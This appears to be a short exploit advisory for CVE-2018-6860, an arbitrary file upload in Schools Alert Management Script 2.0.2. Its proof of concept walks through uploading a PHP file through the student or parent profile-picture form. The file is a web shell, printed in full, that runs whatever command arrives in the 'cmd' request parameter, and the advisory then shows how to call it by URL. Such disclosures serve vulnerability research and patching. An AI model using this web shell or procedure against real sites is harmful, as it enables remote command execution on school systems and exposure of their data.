Schools Alert Management Script 2.0.2 - Arbitrary File Upload

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# Exploit Title: Schools Alert Management Script - 2.0.2 - Arbitrary File Upload / Remote Code Execution
# Date: 07.02.2018
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/schools-alert-management-system/
# Category: Web Application
# Exploit Author: Prasenjit Kanti Paul
# Web: http://hack2rule.wordpress.com/
# Version: 2.0.2
# Tested on: Linux Mint
# CVE: CVE-2018-6860
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Proof of Concept
=================
1. Login as Student/Parent
2. Go to "Edit Profile" to upload profile picture.
3. Once you find upload section, upload following code as a PHP file: 
    <?php
        if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }
    ?>
4. Try to access given PHP file : [site.com]/malicious.php?cmd=ls